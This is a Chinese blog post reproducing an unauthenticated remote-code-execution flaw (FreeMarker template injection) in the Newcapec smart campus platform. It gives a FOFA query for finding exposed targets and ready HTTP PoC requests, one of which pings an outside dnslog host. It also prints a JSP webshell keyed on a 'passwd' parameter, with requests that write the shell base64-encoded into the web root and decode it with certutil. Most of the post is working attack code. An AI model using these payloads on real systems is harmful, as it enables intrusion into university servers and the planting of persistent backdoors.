新开普智慧校园系统RCE漏洞复现（0day）-编程知识

0x01 产品简介

新开普智慧校园体系基于业务、数据双中台理念，建立共享开放能力平台，实现能力开放和服务与数据的全生命周期治理；基于一云多端，混合云服务模式，覆盖管理、生活、教学、科研和社会化服务全场景，让师生随时随地获得资源和服务；围绕按主题建设，按场景上线，以评促建，可持续发展的路径，渐进建设全业务应用场景，让智慧校园建设更简单。

0x02 漏洞概述

新开普智慧校园系统/service_transport/service.action接口处存在FreeMarker模板注入，攻击者可在未经身份认证的情况下，调用后台接口，构造恶意代码实现远程代码执行，最终可造成服务器失陷（edu刷分神洞）

0x03 影响范围

掌上校园前置服务管理平台（通用版）

0x04 复现环境

FOFA：title="掌上校园服务管理平台"

0x05 漏洞复现

http://your-ip/service_transport/service.action

出现以上这种情况则存在漏洞

PoC

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0{"command": "GetFZinfo", "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c ping v0u26h.ceye.io\")}"
}

PS:漏洞没有回显，可通过写文件或dnslog验证

漏洞利用

思路：将马子base64编码，echo将编码后的马子写入txt文件到网站根目录，然后使用certutil命令解码并将txt转换为jsp

实践：

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

写文件

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0{"command": "GetFZinfo", "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c echo PCUhCiAgICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgewogICAgICAgIFUoQ2xhc3NMb2FkZXIgYykgewogICAgICAgICAgICBzdXBlcihjKTsKICAgICAgICB9CiAgICAgICAgcHVibGljIENsYXNzIGcoYnl0ZVtdIGIpIHsKICAgICAgICAgICAgcmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsIDAsIGIubGVuZ3RoKTsKICAgICAgICB9CiAgICB9CiAKICAgIHB1YmxpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBzdHIpIHRocm93cyBFeGNlcHRpb24gewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOwogICAgICAgICAgICByZXR1cm4gKGJ5dGVbXSkgY2xhenouZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBTdHJpbmcuY2xhc3MpLmludm9rZShjbGF6ei5uZXdJbnN0YW5jZSgpLCBzdHIpOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwogICAgICAgICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsKICAgICAgICAgICAgcmV0dXJuIChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZSIsIFN0cmluZy5jbGFzcykuaW52b2tlKGRlY29kZXIsIHN0cik7CiAgICAgICAgfQogICAgfQolPgo8JQogICAgU3RyaW5nIGNscyA9IHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzd2QiKTsKICAgIGlmIChjbHMgIT0gbnVsbCkgewogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGJhc2U2NERlY29kZShjbHMpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CiAgICB9CiU+ >./webapps/ROOT/1.txt\")}"
}

文件转换

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0{"command": "GetFZinfo", "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c certutil -decode ./webapps/ROOT/1.txt ./webapps/ROOT/1.jsp\")}"
}